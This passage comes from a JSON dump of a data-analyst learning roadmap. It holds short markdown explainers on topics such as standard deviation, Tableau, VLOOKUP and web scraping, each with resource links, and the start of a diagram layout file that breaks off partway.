    "content": "# Stacked Chart\n\nA stacked chart is an essential tool for a data analyst in the field of data visualization. This type of chart presents quantitative data in a visually appealing manner and allows users to easily compare different categories while still being able to compare the total sizes. These charts are highly effective when trying to measure part-to-whole relationships, displaying accumulated totals over time or when presenting data with multiple variables. Data analysts often use stacked charts to detect patterns, trends and anomalies which can aid in strategic decision making.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Stacked Chart?](https://www.spotfire.com/glossary/what-is-a-stacked-chart)\n- [@article@A Complete Guide to Stacked Bar Charts](https://www.atlassian.com/data/charts/stacked-bar-chart-complete-guide)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/standard-deviation@MXIP8ekH4YtczODKM_G_l.md",
    "content": "# Standard Deviation\n\nIn the realm of data analysis, the concept of dispersion plays a critical role in understanding and interpreting data. One of the key measures of dispersion is the Standard Deviation. As a data analyst, understanding the standard deviation is crucial as it gives insight into how much variation or dispersion exists from the average (mean), or expected value. A low standard deviation indicates that the data points are generally close to the mean, while a high standard deviation implies that the data points are spread out over a wider range. By mastering the concept of standard deviation and other statistical tools related to dispersion, data analysts are better equipped to provide meaningful analyses and insights from the available data.\n\nVisit the following resources to learn more:\n\n- [@article@Standard Deviation Formula and Uses vs. Variance](https://www.investopedia.com/terms/s/standarddeviation.asp)\n- [@video@Standard Deviation](https://www.youtube.com/watch?v=esskJJF8pCc)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/statistical-analysis@2pUq-7hu5EjGpowz98YoV.md",
    "content": "# Statistical Analysis: A Key Concept for Data Analysts\n\nStatistical analysis plays a critical role in the daily functions of a data analyst. It encompasses collecting, examining, interpreting, and present data, enabling data analysts to uncover patterns, trends and relationships, deduce insights and support decision-making in various fields. By applying statistical concepts, data analysts can transform complex data sets into understandable information that organizations can leverage for actionable insights. This cornerstone of data analysis enables analysts to deliver predictive models, trend analysis, and valuable business insights, making it indispensable in the world of data analytics. It is vital for data analysts to grasp such statistical methodologies to effectively decipher large data volumes they handle.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Statistical Analysis](https://www.simplilearn.com/what-is-statistical-analysis-article)\n- [@video@Statistical Analysis](https://www.youtube.com/watch?v=XjMBZE1DuBY)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/statistical-analysis@TeewVruErSsD4VLXcaDxp.md",
    "content": "# Statistical Analysis\n\nStatistical analysis is a core component of a data analyst's toolkit. As professionals dealing with vast amount of structured and unstructured data, data analysts often turn to statistical methods to extract insights and make informed decisions. The role of statistical analysis in data analytics involves gathering, reviewing, and interpreting data for various applications, enabling businesses to understand their performance, trends, and growth potential. Data analysts use a range of statistical techniques from modeling, machine learning, and data mining, to convey vital information that supports strategic company actions.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Statistical Analysis](https://www.simplilearn.com/what-is-statistical-analysis-article)\n- [@video@Statistical Analysis](https://www.youtube.com/watch?v=XjMBZE1DuBY)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/sum@_FO80Cm2iAD_bThmnsEgp.md",
    "content": "# Sum\n\nSum is one of the most fundamental operations in data analysis. As a data analyst, the ability to quickly and accurately summarize numerical data is key to draw meaningful insights from large data sets. The operation can be performed using various software and programming languages such as Excel, SQL, Python, R etc., each providing distinct methods to compute sums. Understanding the 'sum' operation is critical for tasks such as trend analysis, forecasting, budgeting, and essentially any operation involving quantitative data.\n\nVisit the following resources to learn more:\n\n- [@article@SUM Function](https://support.microsoft.com/en-gb/office/sum-function-043e1c7d-7726-4e80-8f32-07b23e057f89)\n- [@video@How to use the SUM function in excel](https://www.youtube.com/watch?v=-u-9f3QrdAQ)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/supervised-learning@FIYCkGXofKMsXmsqHSMh9.md",
    "content": "# Supervised Machine Learning Basics for Data Analysts\n\nSupervised machine learning forms an integral part of the toolset for a Data Analyst. With a direct focus on building predictive models from labeled datasets, it involves training an algorithm based on these known inputs and outputs, helping Data Analysts establish correlations and make reliable predictions. Fortifying a Data Analyst's role, supervised machine learning enables the accurate interpretation of complex data, enhancing decision-making processes.\n\nVisit the following resources to learn more:\n\n- [@article@What is Supervised Learning?](https://cloud.google.com/discover/what-is-supervised-learning)\n- [@article@Supervised Machine Learning](https://www.datacamp.com/blog/supervised-machine-learning)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/tableau@Sz2Y8HLbSmDjSKAJztDql.md",
    "content": "# Tableau in Data Visualization\n\nTableau is a powerful data visualization tool utilized extensively by data analysts worldwide. Its primary role is to transform raw, unprocessed data into an understandable format without any technical skills or coding. Data analysts use Tableau to create data visualizations, reports, and dashboards that help businesses make more informed, data-driven decisions. They also use it to perform tasks like trend analysis, pattern identification, and forecasts, all within a user-friendly interface. Moreover, Tableau's data visualization capabilities make it easier for stakeholders to understand complex data and act on insights quickly.\n\nVisit the following resources to learn more:\n\n- [@official@Tableau](https://www.tableau.com/en-gb)\n- [@video@What is Tableau?](https://www.youtube.com/watch?v=NLCzpPRCc7U)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/tensorflow@FJ4Sx477FWxyDsQr0R8rl.md",
    "content": "# Tensor Flow\n\nTensorFlow, developed by Google Brain Team, has become a crucial tool in the realm of data analytics, particularly within the field of deep learning. It's an open-source platform for machine learning, offering a comprehensive and flexible ecosystem of tools, libraries, and community resources. As a data analyst, understanding and implementing TensorFlow for deep learning models allows us to identify complex patterns and make insightful predictions which standard analysis could miss. It's in-demand skill that enhances our ability to generate accurate insights from colossal and complicated structured or unstructured data sets.\n\nVisit the following resources to learn more:\n\n- [@official@Tensorflow](https://www.tensorflow.org/)\n- [@official@Tensorflow Documentation](https://www.tensorflow.org/learn)\n- [@video@Tensorflow in 100 seconds](https://www.youtube.com/watch?v=i8NETqtGHms)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/trim@D5Q6o6ydr1j51kB0ASFPE.md",
    "content": "# Trim\n\nTrim is considered a basic yet vital function within the scope of data analysis. It plays an integral role in preparing and cleansing the dataset, which is key to analytical accuracy. Trim allows data analysts to streamline dataset by removing extra spaces, enhancing the data quality. Furthermore, Trim functions can help in reducing the errors, enhancing the efficiency of data modelling and ensuring reliable data insight generation. Understanding Trim function is thus an essential part of a data analyst's toolbox.\n\nVisit the following resources to learn more:\n\n- [@article@TRIM Function](https://corporatefinanceinstitute.com/resources/excel/trim-function/)\n- [@article@Excel TRIM Function](https://support.microsoft.com/en-gb/office/trim-function-410388fa-c5df-49c6-b16c-9e5630b479f9)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/types-of-data-analytics@Lsapbmg-eMIYJAHpV97nO.md",
    "content": "# Introduction to Types of Data Analytics\n\nData Analytics has proven to be a critical part of decision-making in modern business ventures. It is responsible for discovering, interpreting, and transforming data into valuable information. Different types of data analytics look at past, present, or predictive views of business operations.\n\nData Analysts, as ambassadors of this domain, employ these types, to answer various questions:\n\n*   Descriptive Analytics _(what happened in the past?)_\n*   Diagnostic Analytics _(why did it happened in the past?)_\n*   Predictive Analytics _(what will happen in the future?)_\n*   Prescriptive Analytics _(how can we make it happen?)_\n\nVisit the following resources to learn more:\n\n- [@article@The 4 Types of Data Analysis: Ultimate Guide](https://careerfoundry.com/en/blog/data-analytics/different-types-of-data-analysis/)\n- [@video@Descriptive vs Diagnostic vs Predictive vs Prescriptive Analytics: What's the Difference?](https://www.youtube.com/watch?v=QoEpC7jUb9k)\n- [@video@Types of Data Analytics](https://www.youtube.com/watch?v=lsZnSgxMwBA)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/unsupervised-learning@FntL9E2yVAYwIrlANDNKE.md",
    "content": "# Unsupervised Learning in Machine Learning Basics\n\nUnsupervised learning, as a fundamental aspect of Machine Learning, holds great implications in the realm of data analytics. It is an approach where a model learns to identify patterns and relationships within a dataset that isn't labelled or classified. It is especially useful for a Data Analyst as it can assist in recognizing unforeseen trends, providing new insights or preparing data for other machine learning tasks. This ability to infer without direct supervision allows a vast potential for latent structure discovery and new knowledge derivation from raw data.\n\nVisit the following resources to learn more:\n\n- [@article@What is Unsupervised Learning?](https://cloud.google.com/discover/what-is-unsupervised-learning)\n- [@article@Introduction to Unsupervised Learning](https://www.datacamp.com/blog/introduction-to-unsupervised-learning)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/upper--lower--proper@YReKRRgE_2dWfGGdBQqbf.md",
    "content": "# Upper, Lower, Proper Functions\n\nIn the field of data analysis, the Upper, Lower, and Proper functions serve as fundamental tools for manipulating and transforming text data. A data analyst often works with a vast array of datasets, where the text data may not always adhere to a consistent format. To tackle such issues, the Upper, Lower, and Proper functions are used. 'Upper' converts all the text to uppercase, while 'Lower' does the opposite, transforming all text to lowercase. The 'Proper' function is used to capitalize the first letter of each word, making it proper case. These functions are indispensable when it comes to cleaning and preparing data, a major part of a data analyst's role.\n\nVisit the following resources to learn more:\n\n- [@article@UPPER Function](https://support.microsoft.com/en-gb/office/upper-function-c11f29b3-d1a3-4537-8df6-04d0049963d6)\n- [@article@LOWER Function](https://support.microsoft.com/en-gb/office/lower-function-3f21df02-a80c-44b2-afaf-81358f9fdeb4)\n- [@article@PROPER Function](https://support.microsoft.com/en-gb/office/proper-function-52a5a283-e8b2-49be-8506-b2887b889f94)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/variance@ict4JkoVM-AzPbp9bDztg.md",
    "content": "# Variance as a Measure of Dispersion\n\nData analysts heavily rely on statistical concepts to analyze and interpret data, and one such fundamental concept is variance. Variance, an essential measure of dispersion, quantifies the spread of data, providing insight into the level of variability within the dataset. Understanding variance is crucial for data analysts as the reliability of many statistical models depends on the assumption of constant variance across observations. In other words, it helps analysts determine how much data points diverge from the expected value or mean, which can be pivotal in identifying outliers, understanding data distribution, and driving decision-making processes. However, variance can't be interpreted in the original units of measurement due to its squared nature, which is why it is often used in conjunction with its square root, the standard deviation.\n\nVisit the following resources to learn more:\n\n- [@article@What is Variance?](https://www.investopedia.com/terms/v/variance.asp)\n- [@article@How to Calculate Variance](https://www.scribbr.co.uk/stats/variance-meaning/)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/visualisation@jowh4CFLQiFzKaaElyCuQ.md",
    "content": "# Visualization - A Key Concept for Data Analysts\n\nThe visualization of data is an essential skill in the toolkit of every data analyst. This practice is about transforming complex raw data into a graphical format that allows for an easier understanding of large data sets, trends, outliers, and important patterns. Whether pie charts, line graphs, bar graphs, or heat maps, data visualization techniques not only streamline data analysis, but also facilitate a more effective communication of the findings to others. This key concept underscores the importance of presenting data in a digestible and visually appealing manner to drive data-informed decision making in an organization.\n\nVisit the following resources to learn more:\n\n- [@article@Data Visualization Beginner's Guide](https://www.tableau.com/en-gb/learn/articles/data-visualization)\n- [@video@Data Visualization in 2024](https://www.youtube.com/watch?v=loYuxWSsLNc)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/visualizing-distributions@mCUW07rx74_dUNi7OGVlj.md",
    "content": "# Visualising Distributions\n\nVisualising Distributions, from a data analyst's perspective, plays a key role in understanding the overall distribution and identifying patterns within data. It aids in summarizing, structuring, and plotting structured data graphically to provide essential insights. This includes using different chart types like bar graphs, histograms, and scatter plots for interval data, and pie or bar graphs for categorical data. Ultimately, the aim is to provide a straightforward and effective manner to comprehend the data's characteristics and underlying structure. A data analyst uses these visualisation techniques to make initial conclusions, detect anomalies, and decide on further analysis paths.\n\nVisit the following resources to learn more:\n\n- [@article@Data Visualizations that Capture Distributions](https://www.datacamp.com/blog/data-demystified-data-visualizations-that-capture-distributions)\n- [@video@Visualising Distributions in Power BI](https://www.youtube.com/watch?v=rOemr3sz2vw)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/vlookup--hlookup@9sIP-jpNjtA1JPCBjTf-H.md",
    "content": "# vlookup and hlookup\n\nData Analysts often deal with large and complex datasets that require efficient tools for data manipulation and extraction. This is where basic functions like vlookup and hlookup in Excel become extremely useful. These functions are versatile lookup and reference functions that can find specified data in a vast array, providing ease and convenience in data retrieval tasks.\n\nThe Vertical Lookup (vlookup) is used to find data in a table sorted vertically, while the Horizontal Lookup (hlookup) is used on data organized horizontally. Mastering these functions is crucial for any data analyst's toolbox, as they can dramatically speed up data access, reduce errors in data extraction, and simplify the overall process of analysis. In essence, these two functions are not just basic functions; they serve as essential tools for efficient data analysis.\n\nVisit the following resources to learn more:\n\n- [@article@VLOOKUP Function](https://support.microsoft.com/en-gb/office/vlookup-function-0bbc8083-26fe-4963-8ab8-93a18ad188a1)\n- [@article@HLOOKUP Function](https://support.microsoft.com/en-gb/office/hlookup-function-a3034eec-b719-4ba3-bb65-e1ad662ed95f)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/web-scraping@qQ64ZhSlbbWu9pP8KTE67.md",
    "content": "# Web Scraping\n\nWeb scraping plays a significant role in collecting unique datasets for data analysis. In the realm of a data analyst's tasks, web scraping refers to the method of extracting information from websites and converting it into a structured usable format like a CSV, Excel spreadsheet, or even into databases. This technique allows data analysts to gather large sets of data from the internet, which otherwise could be time-consuming if done manually. The capability of web scraping and parsing data effectively can give data analysts a competitive edge in their data analysis process, from unlocking in-depth, insightful information to making data-driven decisions.\n\nVisit the following resources to learn more:\n\n- [@article@What is Web Scraping & What is it used for?](https://www.parsehub.com/blog/what-is-web-scraping/)\n- [@video@What is Web Scraping?](https://www.youtube.com/watch?v=dlj_QL-ENJM)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/what-is-data-analytics@yCnn-NfSxIybUQ2iTuUGq.md",
    "content": "# Introduction to Data Analytics\n\nData Analytics is a core component of a Data Analyst's role. The field involves extracting meaningful insights from raw data to drive decision-making processes. It includes a wide range of techniques and disciplines ranging from the simple data compilation to advanced algorithms and statistical analysis. As a data analyst, you are expected to understand and interpret complex digital data, such as the usage statistics of a website, the sales figures of a company, or client engagement over social media, etc. This knowledge enables data analysts to support businesses in identifying trends, making informed decisions, predicting potential outcomes - hence playing a crucial role in shaping business strategies.\n\nVisit the following resources to learn more:\n\n- [@course@Introduction to Data Analytics](https://www.coursera.org/learn/introduction-to-data-analytics)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/data-analyst.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"s53kNESX2DeFOZX5X4C1w\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -718.799052802922,\n        \"y\": 2285.4191362257843\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 465,\n      \"height\": 395,\n      \"style\": {\n        \"width\": 465,\n        \"height\": 395\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -718.799052802922,\n        \"y\": 2285.4191362257843\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 465,\n        \"height\": 395\n      }\n    },\n    {\n      \"id\": \"mjrtkv8khMV_doNvDW33w\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -289.821810236714,\n        \"y\": 1582.770762802686\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"HAKzVeRkJWxLc-kFmkpkH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 57,\n      \"positionAbsolute\": {\n        \"x\": -289.821810236714,\n        \"y\": 1582.770762802686\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 57\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 57\n      }\n    },\n    {\n      \"id\": \"vjPbrUxt7m9mi_-41gepg\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -471,\n        \"y\": 1570.9045877729018\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2183e4\"\n        },\n        \"oldId\": \"BEqkEZcUGy9OPWuwVyrh7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": -471,\n        \"y\": 1570.9045877729018\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 147,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"Wf38aF9E2p2d4HjaEz_jA\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 233.1185781382378,\n        \"y\": 1185.4045877729018\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2183E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"dlucpec8QmC5N_xmVBgLJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 50,\n      \"positionAbsolute\": {\n        \"x\": 233.1185781382378,\n        \"y\": 1185.4045877729018\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"9JPrXvAn4Ygvd-0l46e-b\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 69.11857813823781,\n        \"y\": 1185.4045877729018\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2183E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"Wf38aF9E2p2d4HjaEz_jA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 50,\n      \"positionAbsolute\": {\n        \"x\": 69.11857813823781,\n        \"y\": 1185.4045877729018\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"eYtoaWaZyQbfAVq8d3tFE\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -503.321810236714,\n        \"y\": 931.4045877729018\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 215,\n      \"height\": 146,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 146\n      },\n      \"positionAbsolute\": {\n        \"x\": -503.321810236714,\n        \"y\": 931.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 146\n      }\n    },\n    {\n      \"id\": \"IKDpwowMgjPy_91gd8hBJ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -711.321810236714,\n        \"y\": 761.9045877729018\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 212,\n      \"height\": 159,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 159\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -711.321810236714,\n        \"y\": 761.9045877729018\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 159\n      }\n    },\n    {\n      \"id\": \"U90uRMtULJfxfX5D4Lvet\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -711.321810236714,\n        \"y\": 932.4045877729018\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 212,\n      \"height\": 145,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 145\n      },\n      \"positionAbsolute\": {\n        \"x\": -711.321810236714,\n        \"y\": 932.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 145\n      }\n    },\n    {\n      \"id\": \"Mmb2g51O5AH43xdv4q9L0\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 140.57457800662047,\n        \"y\": 418.8426822070478\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"oTIzw6XO3cRb09CfDbBRm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 58,\n      \"positionAbsolute\": {\n        \"x\": 140.57457800662047,\n        \"y\": 418.8426822070478\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 58\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 58\n      }\n    },\n    {\n      \"id\": \"LXzQof9GV5YFNXEnsJmSe\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 53.13989797603216,\n        \"y\": 418.8426822070478\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"9cUTHbdM4ZHYbo96-ir6i\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 58,\n      \"positionAbsolute\": {\n        \"x\": 53.13989797603216,\n        \"y\": 418.8426822070478\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 58\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 58\n      }\n    },\n    {\n      \"id\": \"mM_v9xK6A6p3-02lc1Xsw\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -419.5,\n        \"y\": 432.8426822070478\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2183e4\"\n        },\n        \"oldId\": \"4UNRDLVOlXSR5u6tdypth\"\n      },\n      \"zIndex\": 999,\n      \"width\": 93,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": -419.5,\n        \"y\": 432.8426822070478\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 93,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 93,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"NdLvmwQiqaHevxiaz6Bcx\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -713.5,\n        \"y\": 139.10000000000014\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 294,\n      \"height\": 450,\n      \"style\": {\n        \"width\": 294,\n        \"height\": 450\n      },\n      \"positionAbsolute\": {\n        \"x\": -713.5,\n        \"y\": 139.10000000000014\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 450\n      }\n    },\n    {\n      \"id\": \"gVDCgxnwW0ueuay58qLfa\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -327.321810236714,\n        \"y\": 131.34268220704786\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 285,\n      \"height\": 262,\n      \"style\": {\n        \"width\": 285,\n        \"height\": 262\n      },\n      \"positionAbsolute\": {\n        \"x\": -327.321810236714,\n        \"y\": 131.34268220704786\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 285,\n        \"height\": 262\n      }\n    },\n    {\n      \"id\": \"Ju00mr0KLGN2BV6yEQGPt\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 34.44582056716166,\n        \"y\": 2444.398390743421\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"positionAbsolute\": {\n        \"x\": 34.44582056716166,\n        \"y\": 2444.398390743421\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"width\": 414,\n      \"height\": 124,\n      \"id\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -162.05417943283828,\n        \"y\": 2355.1268841725323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Keep learning with the following relevant track\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"0vLaVNJaJSHZ_bHli6Qzs\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -162.05417943283828,\n        \"y\": 2355.1268841725323\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 414,\n        \"height\": 124\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 414,\n        \"height\": 124\n      }\n    },\n    {\n      \"width\": 199,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -283.821810236714,\n        \"y\": -118.42445334555111\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Analyst\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -283.821810236714,\n        \"y\": -118.42445334555111\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 284,\n      \"height\": 49,\n      \"id\": \"3xp2fogAVmwXQhdzhZDWR\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -326.321810236714,\n        \"y\": 4.707303502152058\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Introduction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"l1SnPc4EMqGdaIAhIQfrT\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -326.321810236714,\n        \"y\": 4.707303502152058\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 387,\n      \"height\": 49,\n      \"id\": \"uSLzfLPXxS5-P7ozscvjZ\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -144.6405735632627,\n        \"y\": 2413.512123340524\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"AI and Data Scientist Roadmap\",\n        \"href\": \"https://roadmap.sh/ai-data-scientist\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"PkhQdVms2TGgnPrytCBPZ\"\n      },\n      \"zIndex\": 